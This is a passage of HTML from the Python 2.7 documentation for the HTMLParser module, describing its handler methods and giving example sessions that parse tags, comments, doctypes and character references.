href="htmllib.html#module-htmlentitydefs" title="htmlentitydefs: Definitions of HTML general entities."><code class="xref py py-mod docutils literal notranslate"><span class="pre">htmlentitydefs</span></code></a> are now replaced in the attribute values.</p> </div> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.handle_endtag"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">handle_endtag</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">tag</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.handle_endtag" title="Permalink to this definition">¶</a></dt> <dd><p>This method is called to handle the end tag of an element (e.g. <code class="docutils literal notranslate"><span class="pre"></div></span></code>).</p> <p>The <em>tag</em> argument is the name of the tag converted to lower case.</p> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.handle_startendtag"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">handle_startendtag</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">tag</span></span></em>, <em class="sig-param"><span class="n"><span class="pre">attrs</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.handle_startendtag" title="Permalink to this definition">¶</a></dt> <dd><p>Similar to <a class="reference internal" href="#HTMLParser.HTMLParser.handle_starttag" title="HTMLParser.HTMLParser.handle_starttag"><code class="xref py py-meth docutils literal notranslate"><span class="pre">handle_starttag()</span></code></a>, but called when the parser encounters an XHTML-style empty tag (<code class="docutils literal notranslate"><span class="pre"><img</span> <span class="pre">...</span> <span class="pre">/></span></code>). This method may be overridden by subclasses which require this particular lexical information; the default implementation simply calls <a class="reference internal" href="#HTMLParser.HTMLParser.handle_starttag" title="HTMLParser.HTMLParser.handle_starttag"><code class="xref py py-meth docutils literal notranslate"><span class="pre">handle_starttag()</span></code></a> and <a class="reference internal" href="#HTMLParser.HTMLParser.handle_endtag" title="HTMLParser.HTMLParser.handle_endtag"><code class="xref py py-meth docutils literal notranslate"><span class="pre">handle_endtag()</span></code></a>.</p> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.handle_data"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">handle_data</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">data</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.handle_data" title="Permalink to this definition">¶</a></dt> <dd><p>This method is called to process arbitrary data (e.g. text nodes and the content of <code class="docutils literal notranslate"><span class="pre"><script>...</script></span></code> and <code class="docutils literal notranslate"><span class="pre"><style>...</style></span></code>).</p> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.handle_entityref"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">handle_entityref</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">name</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.handle_entityref" title="Permalink to this definition">¶</a></dt> <dd><p>This method is called to process a named character reference of the form <code class="docutils literal notranslate"><span class="pre">&name;</span></code> (e.g. <code class="docutils literal notranslate"><span class="pre">&gt;</span></code>), where <em>name</em> is a general entity reference (e.g. <code class="docutils literal notranslate"><span class="pre">'gt'</span></code>).</p> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.handle_charref"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">handle_charref</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">name</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.handle_charref" title="Permalink to this definition">¶</a></dt> <dd><p>This method is called to process decimal and hexadecimal numeric character references of the form <code class="docutils literal notranslate"><span class="pre">&#NNN;</span></code> and <code class="docutils literal notranslate"><span class="pre">&#xNNN;</span></code>. For example, the decimal equivalent for <code class="docutils literal notranslate"><span class="pre">&gt;</span></code> is <code class="docutils literal notranslate"><span class="pre">&#62;</span></code>, whereas the hexadecimal is <code class="docutils literal notranslate"><span class="pre">&#x3E;</span></code>; in this case the method will receive <code class="docutils literal notranslate"><span class="pre">'62'</span></code> or <code class="docutils literal notranslate"><span class="pre">'x3E'</span></code>.</p> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.handle_comment"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">handle_comment</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">data</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.handle_comment" title="Permalink to this definition">¶</a></dt> <dd><p>This method is called when a comment is encountered (e.g. <code class="docutils literal notranslate"><span class="pre"><!--comment--></span></code>).</p> <p>For example, the comment <code class="docutils literal notranslate"><span class="pre"><!--</span> <span class="pre">comment</span> <span class="pre">--></span></code> will cause this method to be called with the argument <code class="docutils literal notranslate"><span class="pre">'</span> <span class="pre">comment</span> <span class="pre">'</span></code>.</p> <p>The content of Internet Explorer conditional comments (condcoms) will also be sent to this method, so, for <code class="docutils literal notranslate"><span class="pre"><!--[if</span> <span class="pre">IE</span> <span class="pre">9]>IE9-specific</span> <span class="pre">content<![endif]--></span></code>, this method will receive <code class="docutils literal notranslate"><span class="pre">'[if</span> <span class="pre">IE</span> <span class="pre">9]>IE9-specific</span> <span class="pre">content<![endif]'</span></code>.</p> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.handle_decl"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">handle_decl</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">decl</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.handle_decl" title="Permalink to this definition">¶</a></dt> <dd><p>This method is called to handle an HTML doctype declaration (e.g. <code class="docutils literal notranslate"><span class="pre"><!DOCTYPE</span> <span class="pre">html></span></code>).</p> <p>The <em>decl</em> parameter will be the entire contents of the declaration inside the <code class="docutils literal notranslate"><span class="pre"><!...></span></code> markup (e.g. <code class="docutils literal notranslate"><span class="pre">'DOCTYPE</span> <span class="pre">html'</span></code>).</p> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.handle_pi"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">handle_pi</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">data</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.handle_pi" title="Permalink to this definition">¶</a></dt> <dd><p>This method is called when a processing instruction is encountered. The <em>data</em> parameter will contain the entire processing instruction. For example, for the processing instruction <code class="docutils literal notranslate"><span class="pre"><?proc</span> <span class="pre">color='red'></span></code>, this method would be called as <code class="docutils literal notranslate"><span class="pre">handle_pi("proc</span> <span class="pre">color='red'")</span></code>.</p> <div class="admonition note"> <p class="admonition-title">Note</p> <p>The <a class="reference internal" href="#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> class uses the SGML syntactic rules for processing instructions. An XHTML processing instruction using the trailing <code class="docutils literal notranslate"><span class="pre">'?'</span></code> will cause the <code class="docutils literal notranslate"><span class="pre">'?'</span></code> to be included in <em>data</em>.</p> </div> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.unknown_decl"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">unknown_decl</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">data</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.unknown_decl" title="Permalink to this definition">¶</a></dt> <dd><p>This method is called when an unrecognized declaration is read by the parser.</p> <p>The <em>data</em> parameter will be the entire contents of the declaration inside the <code class="docutils literal notranslate"><span class="pre"><![...]></span></code> markup. It is sometimes useful to be overridden by a derived class.</p> </dd></dl> </section> <section id="examples"> <span id="htmlparser-examples"></span><h2><span class="section-number">19.1.3. </span>Examples<a class="headerlink" href="#examples" title="Permalink to this headline">¶</a></h2> <p>The following class implements a parser that will be used to illustrate more examples:</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">HTMLParser</span> <span class="kn">import</span> <span class="n">HTMLParser</span> <span class="kn">from</span> <span class="nn">htmlentitydefs</span> <span class="kn">import</span> <span class="n">name2codepoint</span> <span class="k">class</span> <span class="nc">MyHTMLParser</span><span class="p">(</span><span class="n">HTMLParser</span><span class="p">):</span> <span class="k">def</span> <span class="nf">handle_starttag</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">tag</span><span class="p">,</span> <span class="n">attrs</span><span class="p">):</span> <span class="nb">print</span> <span class="s2">"Start tag:"</span><span class="p">,</span> <span class="n">tag</span> <span class="k">for</span> <span class="n">attr</span> <span class="ow">in</span> <span class="n">attrs</span><span class="p">:</span> <span class="nb">print</span> <span class="s2">" attr:"</span><span class="p">,</span> <span class="n">attr</span> <span class="k">def</span> <span class="nf">handle_endtag</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">tag</span><span class="p">):</span> <span class="nb">print</span> <span class="s2">"End tag :"</span><span class="p">,</span> <span class="n">tag</span> <span class="k">def</span> <span class="nf">handle_data</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span> <span class="nb">print</span> <span class="s2">"Data :"</span><span class="p">,</span> <span class="n">data</span> <span class="k">def</span> <span class="nf">handle_comment</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span> <span class="nb">print</span> <span class="s2">"Comment :"</span><span class="p">,</span> <span class="n">data</span> <span class="k">def</span> <span class="nf">handle_entityref</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">):</span> <span class="n">c</span> <span class="o">=</span> <span class="n">unichr</span><span class="p">(</span><span class="n">name2codepoint</span><span class="p">[</span><span class="n">name</span><span class="p">])</span> <span class="nb">print</span> <span class="s2">"Named ent:"</span><span class="p">,</span> <span class="n">c</span> <span class="k">def</span> <span class="nf">handle_charref</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">):</span> <span class="k">if</span> <span class="n">name</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s1">'x'</span><span class="p">):</span> <span class="n">c</span> <span class="o">=</span> <span class="n">unichr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">name</span><span class="p">[</span><span class="mi">1</span><span class="p">:],</span> <span class="mi">16</span><span class="p">))</span> <span class="k">else</span><span class="p">:</span> <span class="n">c</span> <span class="o">=</span> <span class="n">unichr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">name</span><span class="p">))</span> <span class="nb">print</span> <span class="s2">"Num ent :"</span><span class="p">,</span> <span class="n">c</span> <span class="k">def</span> <span class="nf">handle_decl</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span> <span class="nb">print</span> <span class="s2">"Decl :"</span><span class="p">,</span> <span class="n">data</span> <span class="n">parser</span> <span class="o">=</span> <span class="n">MyHTMLParser</span><span class="p">()</span> </pre></div> </div> <p>Parsing a doctype:</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">parser</span><span class="o">.</span><span class="n">feed</span><span class="p">(</span><span class="s1">'<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" '</span> <span class="gp">... </span> <span class="s1">'"http://www.w3.org/TR/html4/strict.dtd">'</span><span class="p">)</span> <span class="go">Decl : DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"</span> </pre></div> </div> <p>Parsing an element with a few attributes and a title:</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">parser</span><span class="o">.</span><span class="n">feed</span><span class="p">(</span><span class="s1">'<img src="python-logo.png" alt="The Python logo">'</span><span class="p">)</span> <span class="go">Start tag: img</span> <span class="go"> attr: ('src', 'python-logo.png')</span> <span class="go"> attr: ('alt', 'The Python logo')</span> <span class="go">>>></span> <span class="gp">>>> </span><span class="n">parser</span><span class="o">.</span><span class="n">feed</span><span class="p">(</span><span class="s1">'<h1>Python</h1>'</span><span class="p">)</span> <span class="go">Start tag: h1</span> <span class="go">Data : Python</span> <span class="go">End tag : h1</span> </pre></div> </div> <p>The content of <code class="docutils literal notranslate"><span class="pre">script</span></code> and <code class="docutils literal notranslate"><span class="pre">style</span></code> elements is returned as is, without further parsing:</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">parser</span><span class="o">.</span><span class="n">feed</span><span class="p">(</span><span class="s1">'<style type="text/css">#python { color: green }</style>'</span><span class="p">)</span> <span class="go">Start tag: style</span> <span class="go"> attr: ('type', 'text/css')</span> <span class="go">Data : #python { color: green }</span> <span class="go">End tag : style</span> <span class="gp">>>> </span><span class="n">parser</span><span class="o">.</span><span class="n">feed</span><span class="p">(</span><span class="s1">'<script type="text/javascript">'</span> <span class="gp">... </span> <span class="s1">'alert("<strong>hello!</strong>");</script>'</span><span class="p">)</span> <span class="go">Start tag: script</span> <span class="go"> attr: ('type', 'text/javascript')</span> <span class="go">Data : alert("<strong>hello!</strong>");</span> <span class="go">End tag : script</span> </pre></div> </div> <p>Parsing comments:</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">parser</span><span class="o">.</span><span class="n">feed</span><span class="p">(</span><span class="s1">'<!-- a comment -->'</span> <span class="gp">... </span> <span class="s1">'<!--[if IE 9]>IE-specific content<![endif]-->'</span><span class="p">)</span> <span class="go">Comment : a comment</span> <span class="go">Comment : [if IE 9]>IE-specific content<![endif]</span> </pre></div> </div> <p>Parsing named and numeric character references and converting them to the correct char (note: these 3 references are all equivalent to <code class="docutils literal notranslate"><span class="pre">'>'</span></code>):</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">parser</span><span class="o">.</span><span class="n">feed</span><span class="p">(</span><span class="s1">'&gt;&#62;&#x3E;'</span><span class="p">)</span> <span class="go">Named ent: ></span> <span class="go">Num ent : ></span> <span class="go">Num ent : ></span> </pre></div> </div> <p>Feeding incomplete chunks to <a class="reference internal" href="#HTMLParser.HTMLParser.feed" title="HTMLParser.HTMLParser.feed"><code class="xref py py-meth docutils literal notranslate"><span class="pre">feed()</span></code></a> works, but <a class="reference internal" href="#HTMLParser.HTMLParser.handle_data" title="HTMLParser.HTMLParser.handle_data"><code class="xref py py-meth docutils literal notranslate"><span class="pre">handle_data()</span></code></a> might be called more than once:</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="k">for</span> <span class="n">chunk</span> <span class="ow">in</span> <span class="p">[</span><span class="s1">'<sp'</span><span class="p">,</span> <span class="s1">'an>buff'</span><span class="p">,</span> <span class="s1">'ered '</span><span class="p">,</span> <span class="s1">'text</s'</span><span class="p">,</span> <span class="s1">'pan>'</span><span class="p">]:</span> <span class="gp">... </span> <span class="n">parser</span><span class="o">.</span><span class="n">feed</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span> <span class="gp">...</span> <span class="go">Start tag: span</span> <span class="go">Data : buff</span> <span class="go">Data : ered</span> <span class="go">Data : text</span> <span class="go">End tag : span</span> </pre></div> </div> <p>Parsing invalid HTML (e.g. unquoted attributes) also works:</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">parser</span><span class="o">.</span><span class="n">feed</span><span class="p">(</span><span class="s1">'<p><a class=link href=#main>tag soup</p ></a>'</span><span class="p">)</span> <span class="go">Start tag: p</span> <span class="go">Start tag: a</span> <span class="go"> attr: ('class', 'link')</span> <span class="go"> attr: ('href', '#main')</span> <span class="go">Data : tag soup</span> <span class="go">End tag : p</span> <span class="go">End tag : a</span> </pre></div> </div> </section> </section> <div class="clearer"></div> </div> </div> </div> <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> <div class="sphinxsidebarwrapper"> <h3><a href="../contents.html">Table of Contents</a></h3> <ul> <li><a class="reference internal" href="#">19.1. <code class="xref py py-mod docutils literal notranslate"><span class="pre">HTMLParser</span></code> — Simple HTML and XHTML parser</a><ul> <li><a class="reference internal" href="#example-html-parser-application">19.1.1. Example HTML Parser Application</a></li> <li><a class="reference internal" href="#htmlparser-methods">19.1.2. <code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code> Methods</a></li> <li><a class="reference internal" href="#examples">19.1.3. Examples</a></li> </ul> </li> </ul> <h4>Previous topic</h4> <p class="topless"><a href="markup.html" title="previous chapter"><span class="section-number">19. </span>Structured Markup Processing Tools</a></p> <h4>Next topic</h4> <p class="topless"><a href="sgmllib.html" title="next chapter"><span class="section-number">19.2. </span><code class="xref py py-mod docutils literal notranslate"><span class="pre">sgmllib</span></code> — Simple SGML parser</a></p> <div role="note" aria-label="source link"> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="../_sources/library/htmlparser.rst.txt" rel="nofollow">Show Source</a></li> </ul> </div> <div id="searchbox" style="display: none" role="search"> <h3 id="searchlabel">Quick search</h3> <div class="searchformwrapper"> <form class="search" action="../search.html" method="get"> <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/> <input type="submit" value="Go" /> </form> </div> </div> <script>$('#searchbox').show(0);</script> </div> </div> <div class="clearer"></div> </div> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="sgmllib.html" title="19.2. sgmllib — Simple SGML parser" >next</a> |</li> <li class="right" > <a href="markup.html" title="19. Structured Markup Processing Tools" >previous</a> |</li> <li><img src="../_static/py.png" alt="" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="https://www.python.org/">Python</a> »</li> <li> <a href="../index.html">Python 2.7.18 documentation</a> » </li> <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> »</li> <li class="nav-item nav-item-2"><a href="markup.html" ><span class="section-number">19. </span>Structured Markup Processing Tools</a> »</li> <li class="nav-item nav-item-this"><a href=""><span class="section-number">19.1. </span><code class="xref py py-mod docutils literal notranslate"><span class="pre">HTMLParser</span></code> — Simple HTML and XHTML parser</a></li> </ul> </div> <div class="footer"> © <a href="../copyright.html">Copyright</a> 1990-2024, Python Software Foundation. <br /> The Python Software Foundation is a non-profit corporation. <a href="https://www.python.org/psf/donations/">Please donate.</a> <br /> Last updated on December 09, 2024. <a href="../bugs.html">Found a bug</a>? <br /> Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 4.3.2. </div> </body> </html>
Close